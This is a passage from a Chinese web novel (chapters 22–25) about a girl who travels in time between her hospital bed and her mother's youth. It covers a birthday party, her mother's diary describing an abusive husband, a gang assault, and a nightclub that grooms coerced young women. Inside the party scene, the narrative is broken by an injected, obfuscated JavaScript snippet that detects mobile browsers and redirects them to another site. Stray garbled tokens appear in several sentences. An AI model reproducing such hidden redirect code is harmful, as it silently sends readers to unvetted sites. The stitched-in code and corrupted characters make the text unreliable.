工作人员推着五层大蛋糕进来,所有目光还是集中在寿星身上的,唱完生日歌,大家纷纷拿出自己准备的礼物。 李秀娥准备了小虎队专辑做礼物,小声问宋尔雅:“你给秋月准备了什么礼物?我看别人送的好像都手表项链那些东西。” 她有些心虚,明秋月的朋友们家境都挺好的,送的礼物从包装上来看价格不菲。 宋尔雅:“礼轻情意重。” 她的礼物是三个巴掌大的棉花娃娃,她把小虎队成员Q版化了,拿着图和明珠撒娇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543423|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明珠手工一向很好,琢磨了没多久真给做出来了。 明秋月一看到三个小萌物眼睛都直了,捧在手心亲了又亲,郑重地宣布,她要把第一块蛋糕切给宋尔雅。 明显是很满意这个礼物了。 明芝兰想去摸一下,明秋月打着哈哈往书包里藏了,不给她碰,怕被碰了又要被她要走。 作为姐姐,家里人总教育她要让着妹妹,她也好无奈。 明芝兰咬了咬嘴唇:“不就一破玩偶吗?” 明秋月不搭理她,真不明白堂妹明明不喜欢自己,却一直粘着自己是什么意思,她学音乐她也学,进广播站她也想进,连喜欢哪个明星也要学,也不见得她真心喜欢,所以总学不好。 明芝兰脸色不好看明秋月也不爱哄她了,她愤愤去找宋尔雅想往她身上撒气。 宋尔雅无意吃了一道看似平平无奇的菜,一入口整张嘴都麻了,她吃不了一丁点辣,塞了几口蛋糕进嘴里解辣。 明芝兰突然和她搭话:“蛋糕很好吃吧?” 蛋糕有六层夹心,巧克力榛子蓝莓裹在奶油里面,口感很是丰富,不像平时小商店卖的那种纸杯,确实很好吃。 “好吃就多吃点吧,吃不完打包回去,毕竟你很难吃到这些东西。” 宋尔雅深呼吸。 原来是来刻薄她的,闲出屁来了。 她道歉:“对不起,我家实在太穷了,好不容易吃到这些好东西忍不住多吃了一点,对不起对不起,真的是太好吃了,我怕我以后再也吃不到,求求你让我吃一点吧,求求你了求求你了。” 明芝兰没想她是这个反应。 周围人看过来,明秋月面色铁青:“明芝兰,你不要每次都弄得大家不开心!” 这回尴尬窘迫的人换成了明芝兰,她瞪着宋尔雅,小女生一个就没见过她这种人。 明秋月过来和她道歉,宋尔雅摇头:“这和学姐你又没有关系,而且我也没生气。” 明秋月看她确实没介意,才放心下来,又切了一块很大的蛋糕给她。 而明芝兰受不了一丁点审判目光,逃一般地拿包匆匆走了。 总的来说,这一天还是愉悦的,大家都很年轻,相聚一起没什么弯弯绕绕的,玩得游戏都是这个年龄段的,结束后纷纷告别。 宋尔雅在下楼的时候,被沈明松拽了一下背包带子,示意跟他过去。 23-30 第23章 第 23章 日记本 轮廓硬朗的下张脸从雨衣帽下露出来, 他微微弯腰注视着她,表情染上些笑意:“怎么吓着了?” 还以为她天不怕地不怕的呢? 宋尔雅看清楚眼前人模样,瞬间放下戒备, 露出一个大大笑容:“哥哥!” 沈明松淡淡应声,把雨衣脱下来又给她套上,太大了, 整理了好一会儿才把她脑袋从领口弄出来。 “上车,回家。” 宋尔雅见他没有其他雨具了:“哥哥我们一起穿吧。” 雨衣很大, 勉强能把两人都笼罩在里面, 至少是能遮住上半身不被淋湿。 沈明松什么都没说,拉着雨衣帽子给她戴上后, 手臂横在她腰上一把抱起, 把她放到摩托车后座上, 自己冒着雨就骑车上路了。 这还是宋尔雅第一次坐上摩托车, 和轿车的平稳不同,它又快又响, 和机车发出的动静差不多。 宋尔雅有一位女性朋友玩塞车,某次还带着她和一群寻找刺激的公子哥去山里兜风, 车速开得起飞, 刺激得要升天了一样。 后来这事不知怎么传到沈明松耳朵里去了, 害朋友被家里人训斥过后,说什么也不带她了, 要是她出了点什么事沈明松可饶不了她家。 有人偷偷揣测她不是沈家养女,而是私生的, 也有说她是小情人什么的,聚会时那些人还调侃问宋尔雅究竟和沈先生是什么关系。 实际她本人也说不清,说是养父, 沈明松又没有办理收养手续,并且她亲爹还活着呢。 说情人,明松叔叔也没有对她表露过什么男女之情,他就像个父亲一样守护着她长大。 宋尔雅抓住沈明松两侧衣摆,被严严实实裹在雨衣中,连迎面吹来的水珠都被他身躯挡住了,雨水渐渐淋湿他全身。 车轮碾过一段坑坑洼洼的烂路,颠得人屁-股疼,宋尔雅下意识就抱住了他腰,沈明松身体僵住了,不自在地动了动:“坐稳了。” 她就抱得更紧了。 少年??x?的身躯紧绷得厉害,一直在调整姿势。 宋尔雅想,他年轻时会不会也轻狂爱耍帅,开着摩托车带女孩兜风? 结果沈明松一路开得极慢,怕雨天路滑。 “哥哥,你开车带过人吗?” “嗯。” “谁?” “陆年。” 那没事了。 少女柔软的身体贴着后背,还把脸贴他后背上,雨水冰凉,她身上的温度烫人。 沈明松眉心蹙了又蹙,想教一教她什么男女大防,后又觉得这应该由她姐教的,他一个大男人来教算什么? 宋尔雅双手环住他,不安分地摸了摸。 沈明松像是心脏被人捏来捏去的玩弄,说不出憋屈还是其他的,终是忍无可忍,低呵:“别动手动脚!” 宋尔雅却在他外套口袋摸出了几根香烟,已经被雨水打湿了,她给揉成一团没收了。 沈明松无语,想起了上次她掐了他的烟,也不知道她哪来的胆子在那种情况下,还敢去招他。 一路安全到家,沈明松浑身都湿透了,宋尔雅还是干干净净的。到了晚上她却感冒了,从家里找出几颗药吃下去,往床上一倒就睡着了。 这一觉,她穿回去了,在医院里。 宋尔雅看了一眼时钟,距离上次午睡才不到半个小时。 王阿姨看她在午睡,便离开了病房。宋尔雅自己扶着腰站起来走到轮椅坐上去,然后操控着离开病房,才到走廊就被负责她的主治医生发现了。 “宋小姐,你这是要去哪里?” 宋尔雅说自己想下楼散步。 “外面现在很热的,还是不要出去为好。” 医生说着就把她推了回去,顺便给她做了个简单的检查,这回王阿姨也回来了,拿着给她热好的中药包,追问她自己跑出去干嘛。 宋尔雅支支吾吾一番说不清楚,只好乖乖在病房待着,在王阿姨监督下,苦着脸喝药一整包中药。 大概过个二十多分钟后,段西瑞才出现。 早上沈明松来了之后段西瑞便回家了,还没坐下,宋尔雅又给他发信息让他去沈家取东西过来。 他忙得团团转,来到时满头大汗的。 “给。”段西瑞把一个木盒递过来。 那是宋芳的一些遗物,宋尔雅给锁木盒里了,她记得其中就有宋芳的一本日记本。 她从前是没看过,认为这是母亲的秘密,没母亲允许她是不会窥探她的隐私。 不过现在为了了解她年轻过往,一边在心里和妈妈说对不起,一边翻开页面。 段西瑞凑过来想瞅两眼,被她揍了一下,捂着脑袋委屈:“好你个宋尔雅,过河拆桥啊。” 他站远了,倒不是一定非要看。 日记里面都是母亲一路经历,描写了她失去父母的痛苦,后面又失去了妹妹宋瑶,弟弟又离家出走了,她一个人很孤单,简单的文字是满满的压抑和悲伤。 不过还好她后面结交了一个好朋友方小娟,她们在同一个地方工作,年龄也相仿,约定好存笔钱一起到大城市生活,之后…… 宋尔雅翻了翻,看到了本子里留下的撕痕,中间的内容被撕去了。 等翻阅到下一页时,宋芳已经结婚了。 宋芳很少和宋尔雅提及过往,只知道她有过一个前夫,她在日记里用畜生作为前夫的代称。 日记直接跳转到宋芳和前夫结婚后的事情,他们不是领证的那种结婚,只是根据老家习俗办了酒席。 日记里描写这段过往时只有寥寥几笔,像是不太愿意记录下。 中间还有撕毁的痕迹。 宋尔雅揪着心翻了一页,上面写了“想跑”“好恨”“去死”的词,凌乱的写满页面。 触目惊心。 宋尔雅读到这里,连呼吸都困难了,双手控制不住的颤抖。 这是什么?! 她在宋芳日记里感受出浓浓的绝望和痛苦,上面写那个畜生不仅在外面沾花拈草,工作也不正经,还有暴力倾向,精神也有问题。 宋芳想跑却被家里人劝说她都结婚了就别折腾了,明明都跑回家了,爷爷奶奶又通知那个畜生来接人。 后面那人还把宋芳锁在家里,电话线也给掐断,令她报不了警。 最后宋芳想尽办法才求助到了沈明松,是他爬上居民楼砸碎了玻璃进去把人放出来,宋芳这才能向外界寻求帮忙。 那畜生被公安带走,却很快又被放出来,他到处要找宋芳,宋芳只能连夜去了外省躲避。 多年来宋芳一直不敢回老家,那时通讯也困难,和明珠沈明松他们都失联了,等宋国梁找上门来她才知道那个畜生早在当年就死在一场火灾中。 宋芳的字体里透着恨,恨得牙痒痒,恨那个畜生对她的伤害,恨他让她背井离乡那么多年。 她还涂黑了很多,宋尔雅将纸对着光照也看不清上面写了些什么。 她没想到母亲的往事会是这个样子的,在她眼里,宋芳一直是很强大的一个人。 段西瑞坐到她床边,担忧地看着她:“你怎么哭了,上面写了什么?” 宋尔雅眼圈发红,翻来覆去地去看前面那些内容,日记本被撕掉很多,也没有空白页,她猜想还有母亲接下来的事情写在了另一本。 可木盒里没有其他的了。 宋尔雅偷偷看了一眼在客厅切水果的王阿姨,小声和段西瑞说:“我要回家一趟。” 段西瑞:“你疯了?” “回一下家没事的。” “不行,沈叔叔知道我会被打死的。” 宋尔雅不想强人所难的,可她没多少时间,也许下一秒就要穿走了呢,她只得抓紧时间回家看看母亲还有没有留下其他遗物没被她整理出来的。 她看着段西瑞,眼眶里的泪水似要决堤了。 “好吧好吧,真是服了你了。”段西瑞受不了她这样,反正自己也没少被打,她都生病了就让让她呗。 他推着轮椅上的宋尔雅出门,和人打招呼:“阿姨,我和姐姐到楼下散散步。” 他们以前没干过偷跑出医院的事情,王阿姨犹豫后还是同意了,觉得有年龄相仿的段西瑞陪着玩也好,省得每天藏在病房里被闷坏了。 如果宋尔雅强硬要出,她也是阻止不了的。 她把酸梅汤装水壶里让两人到来楼下喝:“尔尔要戴好口罩,别玩太久了。” “我们保证很快回来。”段西瑞说。 实际上两人一下楼就坐上车跑了。 宋尔雅坐副驾驶上,慌张地看着段西瑞:“怎么开车的是你,你家司机呢?” 段西瑞握着方向盘:“怀疑我技术?” “不是你成年了吗,你有驾照吗你就开?” 段西瑞“啧”的一声,认真观看前面道路,抱怨道:“我上个月就十八了,你什么记性?” 宋尔雅一想还真是,她在那边世界待了很久才回来,确实有点忘了这边的事。 段西瑞把自己驾照丢给她看,让她把心放肚子里头,他可是一次考过的,要是把她磕了碰了,他立马自挂东南枝去。 说话间,前方突然飞速窜出一辆电动车以极快速度逆行而来,段西瑞紧急打转方向盘,撞前面车了。 宋尔雅狠狠前冲一下又被安全带拉回来,后脑勺磕椅背上了。 段西瑞踩烂刹车片,干巴巴笑:“你不会让我真挂上去吧。” 他把一辆越野车尾灯撞碎了,幸好后面没车没导致追尾。 宋尔雅揉揉后脑勺,眸光瞥到车窗外:“与其担心这个,不如担心那个大叔会不会一拳打死你。” 越野的主人是位体型高大的中年男人,一身结结实实的肌肉,拉开车门气势汹汹地过来了。 果然段西瑞刚开车门就被人揪着衣领提出去了。 宋尔雅解开安全带跟着出去:“大叔,先冷静一下好吗,我们保证会赔的。” 大叔连个余光都没给他,几乎都快段西瑞拎得双脚挨不到地面:“小子,你怎么开车的?” 宋尔雅怕段西瑞真的挨揍,忙去拽着那大叔粗壮手臂,那大叔条件反射甩开她,她本就站不太稳,身体理所当然地往后倒。 她两眼一黑。 熟悉的穿越感又来了,闭眼前她听大叔问她是不是想碰瓷。 几十秒的寂静后骤然传来了小孩撕心裂肺的哭声,还不止一个小孩在哭,是好几个,哭声混在一起像雨天池塘里的青蛙呱呱乱叫。 宋尔雅身体动了动,有人按住她的手说:“别乱动,小心出血。” 是妈妈的声音。 宋尔雅睁开眼,右手冰凉冰凉的,一低头就看见扎进手背上的针头,点滴的软管一路蜿蜒过头顶,装药水的瓶子已空了大半。 宋芳搂着她坐在长椅上,沈明松也在旁边干坐着。 他们在诊所里,大人小孩生病了都坐在大厅??x?里打点滴,声音嘈杂,哭声嘹亮。 宋芳见她脸色苍白,给擦了擦她额角虚汗:“做噩梦了?” 宋尔雅摇摇头,只是穿越了而已。 每一次都那么短暂,根本来不及做什么。 她动了动嘴唇。 “什么?”宋芳没听清。 宋尔雅揉揉太阳穴:“没什么?” 她想问宋芳有没有谈恋爱,想想还是先等等看,目前看来她感情上还是一片空白的。 小孩哭声不断,忙得打针的医师不带停歇,他过来看见宋尔雅吊瓶空了,给她取了针后又配了药,就让他们回去了。 宋尔雅按着手背止血棉签,站都没力气站起来,宋芳背不动长高的她了,是沈明松帮忙背她来的,自然也背她回去。 外面的雨依旧没停,宋芳走在边上拿着手电筒给他们打伞,嘴里碎碎念着这天气见鬼,让人以后多穿点衣服。 宋尔雅趴在少年肩膀上,他体温暖烘烘的,令她困意再次来袭。 希望段西瑞别被那位大叔打死了。 第24章 第 24 章 受伤 宋尔雅这次穿过来后, 看谁接近宋芳都像在看畜生。 由于太过于关心母亲的感情生活了,宋芳问她是不是少女思春了,怎么这么八卦。 宋尔雅说自己好奇嘛。 宋芳:“没有没有没有, 我每天上班累得要死,哪有空谈。” 宋尔雅这才放心一点,还没谈, 那就永远别开始了。 她都还没揪出嫌疑人,她这边的第二个生日就来了。 新的一批小鸡崽又长成了大肥鸡, 生日这天宋芳按照惯例祭献了一只大公鸡, 也不讲究什么仪式感,吃吃喝喝就是了。 两家人依旧还在一起吃饭, 沈明松回来得晚, 会提前给他留饭。 那晚宋尔雅等到睡着了, 他都没有回来, 直到一通来自医院的电话打到了他家。 临近过年,很多年轻人打工回来, 提前放起了鞭炮热闹喜气一下。 这喜气稍微淡化了医院住院部的沉闷,嘈杂的声音几乎都是在谈论着快要过年的事情。 陆年鼻青脸肿的, 右手胳膊也伤到了, 打着石膏吊在脖子上, 他爸看见他这个惨样也不忍心在此时骂他。 陆良一身制服,满身正气, 看到同病房的还有沈明松,头上缠着一圈白纱布还陷入昏迷中, 眉头严肃皱起:“这次又是怎么回事,我说了多少次让你远离这些狐朋狗友!” 陆年不满叫道:“爸,你小声一点, 而且这次不关我朋友的事,要不是他我昨晚就被人打死了。” 陆良:“秋月和芝兰怎么样?” “她们一直在家里,没出事。” 面对着警察父亲的一阵盘问,陆年垂头丧气将事情完完整整的重复出来。 事情起因是明芝兰,她交了一个社会上混的男朋友,前段时间她和家里人吵架后离家出走,明秋月怀疑她是去找男朋友了,但不敢自己前去叫人回家,于是叫了陆年陪同。 陆年和明家两姐妹一起长大,虽然不怎么喜欢明芝兰的性子,但也不想她出事,于是他又叫上了沈明松。 三人一起找到了晚上,终于在大排档找到了酒醉的明芝兰,她那个所谓的男朋友正准备将她抱上车带走。 他们上去阻拦,打了那人一顿,把人抢回来带回家。 然而就在昨晚,他和沈明松在路上走时,一辆面包车匆匆拦住两人去路。 是明芝兰男朋友来寻仇了。 几个手持武器的男人拉开车门,二话不说就跳出来对着两人开打。他们下了死手,如果不是沈明松身手敏捷,给陆年挡了几次让他先跑,陆年可能都活不过昨晚。 直到警笛响起他们匆匆逃走,两人才逃过这次,但沈明松受伤严重,从昨晚到现在都还没醒。 陆良眉头松了下来,看昏迷中的沈明松和善了一点,走出病房和门外的下属嘱咐这件事一定要严查到底。 他在医院等了一会,等到了宋尔雅和明珠两人。她推着轮椅赶来了,额头都急出了细汗,微微喘着。 陆年出到走廊后,又和他们解释了一遍。陆良只扫了明珠残缺的双腿一下,目光移开,郑重和她承诺一定会找到行凶者:“医药费我已经交了,之后的一切费用也该由我家负责。” 宋尔雅没时间听陆良说下去,她率先进病房看人。 以前看古惑仔电影,里面那些混混打架都是真刀实枪的,一人一把大砍刀,对法律没有敬畏之心,也不要命的,她一想到昨晚沈明松在面对什么就心惊。 沈明松紧闭双眼,身上的伤口虽然已经止住血了,可他唇色发白,头上那圈纱布骇人。 带血的衣服下隐隐可见缠绕的绷带,他的伤比看到的还要多,消毒水和淡淡的血腥味萦绕在鼻尖。 从前躺病床的人是她,如今身份换过来了,她觉得无论多强大的人往这一躺,也会变得孱弱。 “医生说了松哥没有生命危险。”陆年在身后说,他愧疚得不敢去面对跟进来的明珠,只和宋尔雅说话。 宋尔雅去找来毛巾用热水浸湿,小心翼翼给沈明松擦拭掉脸上血渍,有些都结成黑红的一块了,擦到身体的时候明珠说让她来吧。 明珠很不方便,陆年又只有一只手能活动,简单给清理后又换上了新衣服,宋尔雅出去找了医生了解大概情况后回来安慰明珠。 都是些皮外伤,没伤到内脏。 沈明松大概中午才醒来了,也是骨头硬,状态不算差,意识清晰。 他一睁眼就看见凑近的脸蛋,宋尔雅趴在床边,用手支着下巴看他。 那么近的距离能很清晰看见她脑袋边缘被阳光滤色过的碎发,和浅浅琉璃色瞳孔。 他慌张地移开视线,浑身疼得紧,坐不起身子来。 明珠原本还能忍住,可看儿子一醒过来眼泪就直掉,忙伸手抚摸他没伤的肩膀,小声抽泣:“你要是出了什么事,你让我怎么办?” “妈,咳……对不起,下次不会了。”以前都是些小打小闹,这还是沈明松第一次受这么重的伤,他躺着说句话都咳嗽好几次。 明珠用手帕抹着泪,克制住自己情绪,还是很伤心:“那些到底是什么人,下手这么狠,这是要人命来了。” 沈明松摇头,陆年也不清楚,他羞愧难当的说:“阿姨,我爸爸会查清楚,一定给你们一个公道的。” 陆良在警局职位不低,他亲自盯上的案件,底下的人不敢怠慢敷衍。 四个人里就宋尔雅能跑能跳,她在医院门口买了几份午饭回来。 沈明松双手都抬不起来,宋尔雅扶他起来靠在身后枕头上,午饭装在白色泡沫盒子里,配着一双粘在一起的劣质筷子,她拆开就要喂他吃饭。 他偏过头,没张嘴。 宋尔雅先是迷惑,后才明白了几分,一直凝重的小脸才有点笑意:“哥哥,你别害羞呀。” 沈明松一激动就咳嗽,闷在胸腔里震动,明珠收住眼泪拿过盒饭说:“我来吧。” 明珠这一喂,沈明松倒是张嘴吃了。 陆年吊着胳膊眼巴巴地望:“妹妹,你倒是来理一理我呀。” 宋尔雅还没起身,沈明松刀子似的眼神先飞过去:“自己吃。” 陆年被瞪了心里委屈,他没想要被人喂,就是单手掰不开筷子。 他可怜巴巴地用牙齿咬开了筷子。 ~ 明珠知晓自己帮不到什么忙,可能还会增加负担,之后就宋尔雅一人带着饭来。 陆良找了个四十多岁的男护工照顾两人,与其被护工一口一口喂,还不如让她来。沈明松别扭了没多久,终于还是吃下宋尔雅喂过来的食物。 也没一个星期功夫,他都能坐起来自己吃饭了。 宋尔雅诧异去拉他衣摆想看看他后背的伤,沈明松霍然抬手推开,凶巴巴地:“你一个大姑娘了,怎么总随便对男人动手动脚。” 宋尔雅:“你又不是男人。” “哈哈哈。”陆年在旁边笑出声来。 沈明松脸色都黑成煤渣。 “我的意思是,哥哥你不是别男人。”宋尔雅赶紧纠正自己的错误表达。 “闭嘴!”沈明松训斥她。 宋尔雅耸肩,说自己不看了还不行吗。 说是来照顾他,其实大多数活也是护工在干,宋尔雅就在旁边说说话,沈明松有一搭没一搭的。 好在陆年和她一样待不住片刻,拿了上个病人留下的飞行棋玩了起来。 宋尔雅对陆年也不陌生,他是沈明松至交朋友,是位军人,还说过要认宋尔雅当干女儿来着,不过明松叔叔不让。 而年轻的陆年一副憨态,看起来傻乎乎的。 “你怎么这么狡猾。”大冬天里陆年汗流浃背,没想??x?就玩个飞行棋,都能被一小姑娘虐,把把输,他憋屈死了。 沈明松说:“我要吃水果。” “来了。”宋尔雅一听立马不玩了,去把水果刀洗了给他削雪梨吃,她不爱吃苹果。 陆年摸了把汗,感谢松哥助他脱困。 水果是林海来探望时拿来的,后面也陆陆续续来了几波人来看他们,不过多数都是陆年那边的亲戚朋友,送的礼品盒堆得很高。 宋尔雅把果肉削在盘子上,陆年拉了张凳子坐过来,自己吃。宋尔雅用牙签扎了块递到沈明松嘴边,他犹豫了一会儿,吃了。 这时有人推门进来,是明秋月。 她看到凑一起吃水果的三个人,愣了一下,随后笑着说:“你们看起来好像还挺不错的。” 陆年怪叫:“什么不错啊,我都疼死了,医生说伤筋动骨一百天,我这还好好久才能拆呢。”他展示了手臂上的石膏。 明秋月连忙道歉。 陆年撇撇嘴:“你道什么歉,让明芝兰那个臭丫头来,还有叫她别和那种人来往。” “叔叔已经教训过她了。”明秋月说,她没说明芝兰被她父亲扇了耳光,让她过来道歉,她不仅没来还哭着说沈明松本来就是个混混,被打也不一定是因为她。 她父亲听了后,也就不强求了,他希望女儿远离一切混混。 明秋月拿出两个红包,一个给陆年,一个放沈明松床头桌上:“这是我叔叔的一点心意。” 陆年美滋滋地就收了,打开一看足足有一千块,沈明松没什么表情:“拿回去。” 明秋月露出为难的神色。 宋尔雅觉得有点意思,别人因为自己女儿被打进了医院,她家人却从始至终都没出面过。 明秋月解释说:“我叔叔太忙……” “拿回去。” 明秋月看了看他冷淡神色,叹了口气:“我真讨厌你这个鬼样子。” 也不是说沈明松态度不好,就是他这什么都不在乎的模样,让明秋月始终都靠近不了他一分。 她看他的眼神没有之前那样炙热了,青春期那点喜欢被消磨后真的什么都不剩。 陆年倒是几次想说什么来缓和气氛,都被明秋月打断了,他干脆也不管了,把盘子里的雪梨吃完,又叫宋尔雅帮他把明秋月带来的礼盒打开看看里面有啥好吃的。 沈明松冷飕飕地扫过去:“你少使唤她。” “没有啊。”陆年一脸无辜。 明秋月便去帮他打开了,她待了不到一个小时就走了。 至今为止,宋尔雅都没真正找到过沈明松说的那个“爱人”。 不会那人就是穿过来的她吧。 于是她问:“哥哥你喜欢我吗? 沈明松被水呛得猛烈咳嗽。 宋尔雅怕他把肺咳出来了。 ~ 过年那天,宋尔雅不能再医院停留太久,早早就要回老太太家给祖宗烧香祭拜。 “哥哥,我明天再来看你。” 沈明松点头,等她走到门口又喊住了人,艰难地用手撑着床板,另一只手从床边一堆食物礼品盒子找出一个不太一样的给她。 陆年一眼就认出了这是被打那天,沈明松手里拎着的那个,还以为在混乱中早就弄丢了,没想居然还在。 宋尔雅轻轻“咦”了一下,好奇的目光落在上面。 盒子外表有些脏了,染着血迹,宋尔雅没有急着去打开盒子,反而是他先打开,将里面的那双黑色小皮鞋检查有没有被损坏。 他手掌宽大,骨节分明,掌心覆上一层老茧,和几道淡下去的伤痕,小皮鞋在他手里小小的。 宋尔雅歪头:“给我的?” “嗯,生日礼物。”沈明松声音算得上温和。 他垂着眼,明明没什么情绪,宋尔雅却觉得他此时像农民工老父亲给心爱的小女儿买了一双昂贵鞋子献上来,只想看见女儿开心幸福的笑容。 她摇摇头,想把这诡异的想法甩出去。 “不喜欢?”沈明松看见她动作误会了,抿了抿嘴。 他以前就送过一件裙子,可她从来都没穿过。 他猜不出女孩子会喜欢什么。 “喜欢的。”宋尔雅十分惊喜,怕他不信便现场就试穿了。 皮鞋看着小,穿上却刚刚好合适,站起来走了几步,比自己的布鞋还软,暖乎乎的,一看就不便宜,但她也没有推脱。 “谢谢哥哥。” 沈明松送她了,那她就接受,她对他可没什么好客气的,她没发觉不到这样有什么不对劲的。 两人一起生活过这么多年,和亲人没什么两样,明松叔叔的就是她的。 她离开后,陆年面色古怪,想了想说,“我还以为那是你要给月月的呢。”他之前就劝过沈明松买个礼物缓和一些和明秋月之间的关系。 “你想多了。”沈明松皱眉。 “不想了,以后都不想了。” 陆年可不敢再乱想,这也才惊觉过来一件事。 宋瑶可不是沈明松亲妹妹。 第25章 第 25 章 最喜欢哥哥 陆年被家里接回去过年, 他家请来的护工倒还在岗位里敬职敬业照顾沈明松。 明珠实在不忍儿子在医院过年,又不好在这期间麻烦宋家两姐妹,她一个人也是能坐着轮椅去乘坐公交车的。 她来到医院, 母子两勉强在医院吃了个简陋的年夜饭。 过年一如既往地,很热闹,宋芳也依旧被奶奶催婚, 还说给她找了几个相亲对象让她去试试。 闹到了年初二,姑姑一家打电话来说今天不过来了, 宋芳略显失望, 不过姑姑有给她写信,她看了之后又笑起来。 但一想到奶奶说中午客人要来, 她一猜就知道是相亲对象, 实在不想见人了, 偷偷拉着妹妹跑来医院躲个清净。 他们在医院里见到了几个警察和方文彬。 打人的那几个已经被抓进去了, 方文彬是那些人工作地方的管事,来找沈明松谈赔偿事宜。 可陆良自己儿子也被打了, 他可不缺那点医药费,是不可能和解的。 听那几个警察的意思是要判的, 医药费也是要赔的。 方文彬等警察走后, 态度就没之前那么好了, 走到病床上低头看沈明松低声嗤笑。 宋尔雅她之前没见过方文彬这个人,嗅出两人平静外表下的剑拔弩张。 方文彬说:“没想到居然是你, 冤家路窄。” 沈明松被他居高临下地望着,撑着身体坐起来, 扯了扯嘴皮子假笑:“彬哥最近过得不错。” “当然。”方文彬笑笑,跟了周强后才发现赚钱是那么容易。 他跟林海时虽也不差,偏他这不敢那不碰的, 错失那么多路子,他缺钱缺得厉害,不过挪用了点资金,却被沈明松给捅了出来,还查到了他跟周强的事。 他拍拍他脸:“好好养病,下次可能就没这命了。” 宋芳没见过这种态度的求和者,面色愠怒:“有你这么说话的么?” 方文彬转头看了宋芳,目光轻佻地在她身上游了一圈。 宋芳被他眼神刺到后退一步。 他露出个笑容:“再见。” 他走了之后宋芳才愤愤骂了句神经病。 方文彬并不是什么凶恶长相,二十七八的样子,端正五官下透着股邪气,属于斯文败类的那一款。 他也非真心来求和解的,倒像是来看笑话的。 这件事一直到了二月份底,沈明松出院了也没谈下了来,打人那几个除了个未成年送管教所,其他的都进里面蹲了。 ~ 初三最后一学期,时间过去越快,越有人憧憬毕业后的生活。 成绩差的已经放弃了学业这条路,早早做好北上打工的准备,对大城市充满向往,好一点的已经挑选好要去技术学校。 陶冬冬起初还有点羡慕这些人可以懒散度日,后来被亲妈揍了之后,继续跟着宋尔雅冲刺中考。 宋尔雅一直维持着年级第一,学校很看好她,班主任偷偷和她说高中保送名额出来,必定有她一个。 而宋国梁干脆都不读了,成天逃学偷钱和沈路桦到风情街那边鬼混,宋芳下班了都要去揪人。 风情街那边鱼龙混杂,各种足浴店养生馆,大把失业游民成天在那里晃荡,一到晚上热闹非凡。 夜色是一家夜总会,每晚门前都停满了轿车,各种行业的老板刚踏入,美女便纷纷簇拥而来。 方文彬把新车钥匙丢给泊车小弟,有人笑着迎上来和他说强哥在包厢里等他。 周强是夜色老板,方文彬用了些特殊手段,也掺进来当了股东,没多久就还清了赌债。手里有了钱,他出手也就阔绰,给了引路侍应生一笔消费,推开包厢门。 周强正在里面和一个女人调情,女人穿着性感的舞服将一支含在??x?嘴里点燃,然后夹在指间递到周强嘴边,笑得风情,看到方文彬时隐隐哀怨。 一个月前这女人还在方文彬怀里羞涩地问他会不会爱她一辈子。 方文彬当然说会。 然而周强有个怪癖,那就是非常喜欢玩他的女人,有一个玩一个,以及他那个逃跑的前妻,都有人猜测是偷偷跟了周强。 他喊了声强哥走过去,给人倒酒,像是一点都不介意当绿帽王八。 周强吐着烟雾并不说话,方文彬很识趣地自罚三杯,他才笑盈盈坐直了一些,慢悠悠说:“来了批新货,忒不识趣,还得你好好调教调教。” 方文彬这才去看包厢角落里直直站成一排的年轻女人,她们化着艳丽浓妆,表情拘谨惶恐,在性感女人的使唤下一个个站过来自我介绍。 她们从前的名字都不能用了,都取名媚媚、艳艳这种。 方文彬看着说话都磕磕绊绊的艳艳,温和笑道:“不用这么紧张,强哥又不会吃人,只要你们好好干,钱少不了,不想干也没人会强迫你们。” 艳艳眼睛一亮,但害怕看了周强一眼后,还是没说什么。 周强是个光头、脸上有一道很长的刀疤,满脸横肉,和人模狗样的方文彬差别很,衬得方文彬更像好人了。 周强笑着,眼底阴恻恻地,和方文彬说了一会儿话,搂着性感女人走了,那个艳艳才敢说话,眼睛含着泪水:“彬哥,我想回家继续读书。” 身旁女人偷偷戳了戳她手臂,低头不敢用眼睛直视人,却听见方文彬回答后诧异抬头。 “行啊。”方文彬拿过茶几上的资料翻看,笑容温暖,“你是小勇从老家带来吧,一个女孩子初来乍到可能对这边不熟悉,害怕也是正常的,这样吧,你可以继续在员工宿舍住着去外面找工作,找不到再回来也是可以的。大家都是出来打工赚钱的,我不会和强哥说的。” …… 方文彬从夜总会出来,哄了一晚上的女人让他着实恼怒,个个都哭着说不想干了要走,也不想想那是什么地方,说来就来说走就走。 他躁动抽着烟,手指磨擦着方向盘往赌场方向开,路边行人涌动,时不时跑出几个醉鬼,他不得不放慢车速以免又撞人了,余光瞥见到几个身影。 他借着足浴店外的灯光,看清了那个被醉鬼拉扯住女人,是眼熟的人,他记得在医院见沈明松时见过这个女人。 宋芳没想过这地方会乱成这个样子,连找宋国梁的心情都没有了,只想赶紧摆脱身边的几位醉鬼。 这边没有巡警,向路人求助他们反到兴致盎然地停在路边看,见她尖叫还哈哈大笑。 就在这时,路边轿车上下来了个男人踹了一脚拉着她的那个酒鬼,酒鬼往地上一倒彻底醉了过去,他几个同伴看到是个开着轿车的高大男人,瞬间酒醒了很多。 他们这样的人,可惹不起能开得起四轮的男人,小心哪天就被人打死了,他们扶着同伴匆匆离开。 宋芳刚要道谢,随后也认出了方文彬,立即扭头走久了。 “小姐,不要对我那么大敌意嘛。” 宋芳不吭声,只想赶紧离开这个鬼地方不想招惹他,她不由加快脚步,巴不得此刻长出八条腿来。 “别这样,我也不是什么坏人。”方文彬对她没有表现出什么恶意,却又不紧不慢地跟在她身后,宋芳怎么也甩不开。 她回到停自行车的地方,发现车被偷了,留下一个车轮子扣着一把锁。 宋芳:“……” 方文彬抬手看表,“现在很晚了,要不要我送你回去?” “不……” “公交车最后一班早就开走了。” “如果你实在信不过我,我给你找辆车回去。” 宋芳摸着口袋,里面只有一把买菜剩的几个硬币,根本不够她打车回去。 方文彬已经在路边抬手招了计程车过来,递了一张钞票给司机让宋芳上车。 宋芳踌躇不定,既不想被困在这里,也担心这人居心,为何无缘无故的帮她。 